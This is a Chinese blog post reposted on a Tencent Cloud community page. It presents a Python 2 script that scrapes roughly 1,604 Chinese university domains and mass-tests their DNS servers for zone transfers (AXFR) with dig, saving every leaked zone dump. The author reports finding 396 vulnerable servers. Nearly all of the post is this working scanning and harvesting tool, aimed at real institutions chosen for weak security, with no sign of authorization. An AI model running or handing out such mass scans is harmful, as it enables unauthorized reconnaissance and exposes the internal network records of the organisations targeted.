前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >DNS域传送漏洞(三)

DNS域传送漏洞(三)

作者头像
HACK学习
发布2019-08-07 16:11:43
8320
发布2019-08-07 16:11:43
举报
文章被收录于专栏:HACK学习HACK学习

本篇介绍批量扫描存在DNS域传送漏洞的DNS服务器。

然后选择了安全性比较差的教育网,共扫描1604所高校,发现漏洞主机396台。

高校的域名可从该页面抓取到:http://ziyuan.eol.cn/college.php?listid=128

#encoding=gbk

import urllib2

import re

import threading

import os

html_doc = urllib2.urlopen('http://ziyuan.eol.cn/college.php?listid=128').read().decode('utf-8')

links = re.findall('href="(list.php\?listid=\d+)', html_doc) # 地区链接

colleges = []

for link in links:

html_doc = urllib2.urlopen(u'http://ziyuan.eol.cn/' + link).read().decode('utf-8')

urls = re.findall('www\.\w+\.edu.\w+', html_doc)

for url in urls:

colleges.append(url)

print '已采集学校主页 %d 个...' % len(colleges)

# 导出学校主页

with open('colleges.txt', 'w') as outFile:

for college in colleges:

outFile.write(college + '\n')

lock = threading.Lock()

c_index = 0

def test_DNS_Servers():

global c_index

while True:

lock.acquire()

if c_index >= len(colleges):

lock.release()

break # End of list

domain = colleges[c_index].lstrip('www.')

c_index += 1

lock.release()

cmd_res = os.popen('nslookup -type=ns ' + domain).read() # fetch DNS Server List

dns_servers = re.findall('nameserver = ([\w\.]+)', cmd_res)

for server in dns_servers:

if len(server) < 5: server += domain

cmd_res = os.popen(os.getcwd() + '\\BIND9\\dig @%s axfr %s' % (server, domain)).read()

if cmd_res.find('Transfer failed.') < 0 and \

cmd_res.find('connection timed out') < 0 and \

cmd_res.find('XFR size') > 0 :

lock.acquire()

print '*' * 10 + ' Vulnerable dns server found:', server, '*' * 10

lock.release()

with open('vulnerable_hosts.txt', 'a') as f:

f.write('%s %s\n' % (server.ljust(30), domain))

with open('dns\\' + server + '.txt', 'w') as f:

f.write(cmd_res)

threads = []

for i in range(10):

t = threading.Thread(target=test_DNS_Servers)

t.start()

threads.append(t)

for t in threads:

t.join()

print 'All Done!'

请读者注意几个细节:

1) 笔者将windows下的命令行工具dig放在了子目录BIND9下,BIND可前往http://www.isc.org/下载。如果你使用Linux,可把完整路径删除。

2) Os.popen打开一个子程序,并返回它的执行结果。

3) Dig命令执行结果中出现特征字符串“XFR size”,则表明该DNS服务器存在漏洞。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2018-06-11,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 HACK学习呀 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
命令行工具
腾讯云命令行工具 TCCLI 是管理腾讯云资源的统一工具。使用腾讯云命令行工具,您可以快速调用腾讯云 API 来管理您的腾讯云资源。此外,您还可以基于腾讯云的命令行工具来做自动化和脚本处理,以更多样的方式进行组合和重用。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档